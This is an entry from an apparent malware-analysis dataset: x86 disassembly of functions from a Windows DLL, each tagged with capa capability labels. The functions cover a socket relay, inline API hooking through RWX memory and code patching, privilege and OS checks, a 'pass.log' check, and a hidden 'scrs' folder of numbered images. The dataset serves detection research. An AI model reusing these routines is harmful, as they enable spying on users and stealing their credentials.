joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014720
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], 1
or ebx, 0xffffffff
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x7a120
mov eax, dword [ebp + 0x18]
test eax, eax
je 0x10014767
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100147af
mov ecx, 0x41
lea esi, [ebp - 0x114]
lea edi, [ebp - 0x21c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
lea edx, [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x100147e5
test eax, eax
jne 0x100147cb
cmp ebx, 0xffffffff
je 0x10014750
cmp ebx, 0x1f4
jb 0x100147bd
sub ebx, 0x1f4
jmp 0x10014750
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
push esi
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x100147f3
mov eax, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
test eax, eax
jne 0x10014805
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp + 0x14]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x10014820
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], 1
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x7a120
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x10014867
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100148af
mov ecx, 0x41
lea esi, [ebp - 0x110]
lea edi, [ebp - 0x218]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x218]
push edx
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x100148e5
test eax, eax
jne 0x100148cb
cmp ebx, 0xffffffff
je 0x10014850
cmp ebx, 0x1f4
jb 0x100148bd
sub ebx, 0x1f4
jmp 0x10014850
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
push esi
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100148f3
mov eax, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
test eax, eax
jne 0x10014905
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [ebp + 0x14]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10014920
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], 1
or ebx, 0xffffffff
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x7a120
mov eax, dword [ebp + 8]
test eax, eax
je 0x10014964
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100149ac
mov ecx, 0x41
lea esi, [ebp - 0x114]
lea edi, [ebp - 0x21c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x21c]
push edx
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x100149ba
test eax, eax
jne 0x100149d6
cmp ebx, 0xffffffff
je 0x1001494d
cmp ebx, 0x1f4
jb 0x100149c8
sub ebx, 0x1f4
jmp 0x1001494d
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10014c10
Capabilities:
Create thread
Initialize winsock library
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [esp + 0x20]
push eax
push 0x202
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x24
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x10014d1b
push edi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10014cfa
mov ecx, 2
push ebx
mov word [esp + 0x10], cx
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0x10]
push edx
push edi
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10014cfa
push 0xff
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x10014cfa
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 0x1c]
push ecx
push 4
mov dword [esi + 0x18], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [esi + 0x10], eax
xor eax, eax
push 0x10014a60
push eax
push eax
mov word [esi + 8], bx
mov dword [esi + 4], edi
mov dword [esi + 0xc], 0x10015260
mov dword [esi], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
cmp edi, 0xffffffff
je 0x10014d10
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10014d70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10014df0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
mov dword [ebp - 8], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x10014ddd
mov dx, word [edi + 4]
mov eax, dword [edi]
mov ecx, 2
mov word [ebp - 0x18], cx
push 0x10
lea ecx, [ebp - 0x18]
push ecx
push esi
mov word [ebp - 0x16], dx
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
mov eax, esi
jne 0x10014df0
mov edx, dword [ebp + 8]
push edx
call fcn.10014920
test eax, eax
je 0x10014dee
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10014e00
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2918
call sub.ntdll.dll__chkstk
push ebx
mov ebx, dword [ebp + 8]
push 0
push ebx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x7a120
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10014f44
jmp 0x10014e40
mov dword [ebp - 0x110], edi
mov dword [ebp - 0x114], 1
xor eax, eax
cmp dword [ebp + eax*4 - 0x110], esi
je 0x10014e61
inc eax
cmp eax, 1
jb 0x10014e52
cmp eax, 1
jne 0x10014e76
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x114], 2
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x10014f44
test eax, eax
je 0x10014f30
lea edx, [ebp - 0x114]
push edx
push edi
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x10014ee7
push 0
push 0x2800
lea eax, [ebp - 0x2914]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10014f44
cmp eax, 0xffffffff
je 0x10014f44
push ebx
push 0xffffffffffffffff
lea ecx, [ebp + 8]
push ecx
push eax
lea edx, [ebp - 0x2914]
push edx
push esi
call fcn.10014820
test eax, eax
jne 0x10014f44
lea eax, [ebp - 0x114]
push eax
push esi
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x10014f30
push 0
push 0x2800
lea ecx, [ebp - 0x2914]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10014f44
cmp eax, 0xffffffff
je 0x10014f44
push ebx
push 0xffffffffffffffff
lea edx, [ebp + 8]
push edx
push eax
lea eax, [ebp - 0x2914]
push eax
push edi
call fcn.10014820
test eax, eax
jne 0x10014f44
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10014e40
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
je 0x10014f59
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100152e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004f0b8
push 0x1004597c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
rdtsc
xor ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
mov ecx, dword [ebp + 0xc]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
je 0x100154b1
cmp dword [ebp - 0x20], 0
je 0x100154b1
push 0x40
push 0x3000
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100154a1
mov dword [ebp - 0x28], edi
lea edx, [ebp - 0x24]
push edx
push 0x40
push 0x12
push edi
call esi
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x24]
lea esi, [edi + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call edi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x68
push eax
push esi
call edi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp + 8]
push eax
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9c
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x81
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x74
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x24
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
mov ecx, dword [ebp - 0x1c]
push ecx
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9d
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0xc2
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
push eax
push esi
call edi
lea edx, [ebp + 8]
push edx
push ebx
push 0x12
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], 0
pushal
mov esi, dword [ebp + 0xc]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0x25ff9055
mov ecx, dword [ebp - 0x28]
lock cmpxchg8b qword ds:[esi]
popal
jmp 0x10015483
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 8
mov eax, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100154d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, ebx
test ebx, ebx
je 0x1001563c
push esi
xor esi, esi
mov edx, edi
call fcn.10015830
add esi, eax
add edi, eax
cmp esi, 8
jb 0x100154e8
push 0x40
push 0x3000
add esi, 8
push esi
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001563b
xor esi, esi
lea ebx, [ebx]
mov edx, ebx
call fcn.10015830
push eax
lea ecx, [edi + esi]
push ebx
push ecx
mov dword [ebp - 8], eax
call sub.ntdll.dll_memcpy
mov al, byte [edi + esi]
add esp, 0xc
cmp al, 0xe8
je 0x10015543
cmp al, 0xe9
jne 0x1001554d
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 1], ecx
cmp al, 0xeb
jne 0x10015579
mov dl, byte [edi + esi + 1]
add dl, bl
add dl, 2
movzx eax, dl
mov ecx, ebx
and ecx, 0xffffff00
add eax, ecx
sub eax, edi
sub eax, esi
sub eax, 5
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
add esi, 3
movzx edx, byte [edi + esi]
movzx eax, byte [edi + esi + 1]
shl dx, 8
or dx, ax
mov ecx, 0xfff0
and dx, cx
mov eax, 0xf80
cmp dx, ax
jne 0x100155a5
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 2], ecx
mov eax, dword [ebp - 8]
add esi, eax
add ebx, eax
cmp esi, 8
jb 0x10015520
mov ebx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x80
push ebx
push edi
mov dword [edx], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100155e4
lea ecx, [ebp - 4]
push ecx
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001563b
mov ebx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x80
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1001560e
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001563b
add edi, esi
push edi
lea ecx, [esi + ebx]
push ecx
call fcn.100152e0
mov edx, dword [ebp + 0xc]
push ebx
push edx
call fcn.100152e0
mov edi, ebx
call fcn.10015660
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x10]
push eax
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10016050
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x100542b0], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x100161af
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x100161af
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x100160f6
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x100160d6
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x100160cb
lea eax, [ecx + 1]
jmp 0x1001613a
cmp ecx, 1
je 0x1001613a
cmp ecx, eax
jne 0x10016135
jmp 0x1001613a
cmp ecx, 6
jne 0x10016135
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x100160ea
lea eax, [ecx - 2]
jmp 0x1001613a
cmp eax, 1
jne 0x10016135
mov eax, 6
jmp 0x1001613a
cmp cl, al
je 0x100160ff
cmp cl, 3
jne 0x10016135
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x10016117
cmp dword [ebp - 0x118], eax
jne 0x10016135
lea eax, [ecx - 2]
jmp 0x1001613a
cmp ecx, 6
jne 0x10016135
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001612b
lea eax, [ecx - 1]
jmp 0x1001613a
cmp eax, 1
mov eax, 7
je 0x1001613a
mov eax, dword [0x100542b0]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x100542b0], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10016186
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10016185
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
mov eax, dword [0x100542b0]
je 0x10016192
inc eax
lea eax, [eax + eax*4]
lea ecx, [eax + eax + 1]
mov dword [0x100542b0], ecx
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x100161af
inc dword [0x100542b0]
mov esp, ebp
pop ebp
ret

Function at 0x100161c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100161d0
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100161d0
push 0x10058650
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058650
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100161f4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016206
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x10016273
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016240
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004879c]
mov dword [eax], ecx
mov cl, byte [0x100487a0]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100164c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100164d0
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100164d0
push 0x10058754
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058754
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100164f4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016506
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016527
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004879c]
mov dword [eax], ecx
mov cl, byte [0x100487a0]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x10016930
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10056224]
test eax, eax
je 0x10016946
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x10016800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10056224], eax
test eax, eax
je 0x1001698b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001698a
test byte [ebp - 4], 2
jne 0x1001698a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10016a20
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10016a30
push 0x10059dac
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059dac
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10016a54
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016a66
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [ebp - 0x108]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10016ab9
call ebx
mov edi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10016ab2
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016ac0
mov edx, dword [str.scrs]
mov cl, byte [0x10048a10]
mov dword [eax], edx
lea edx, [ebp - 0x108]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x10016b17
call ebx
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10016b10
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [sym.imp.ntdll.dll__snprintf]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
inc esi
push esi
lea edx, [ebp - 0x108]
push edx
push str._s_02d.jpg
lea eax, [ebp - 0x210]
push 0x104
push eax
call edi
add esp, 0x14
lea ecx, [ebp - 0x210]
push ecx
call fcn.1001fda0
push 0xfa0
call ebx
cmp esi, 0xa
jl 0x10016b25
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017f40
Capabilities:
Check if file exists
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x10017f88
nop
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10017f70
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [esp + 0xc], 0
test esi, esi
je 0x10017fb9
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10017fb9
test byte [esp + 0xc], 2
jne 0x10017fb9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1005639c]
test eax, eax
je 0x10017fcb
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x10017a40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
mov dword [0x1005639c], eax
call ebx
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x10017ff0
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018011
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018021
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018040
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004879c]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [eax], ecx
mov cl, byte [0x100487a0]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
je 0x10018117
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x10018080
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100180a1
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100180b1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100180d0
mov ecx, dword [str.path.txt]
mov edx, dword [0x100489b8]
mov dword [eax], ecx
mov cl, byte [0x100489bc]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
jne 0x10018117
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10048b68
push 0x10058858
call fcn.1000df70
call fcn.10017f40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret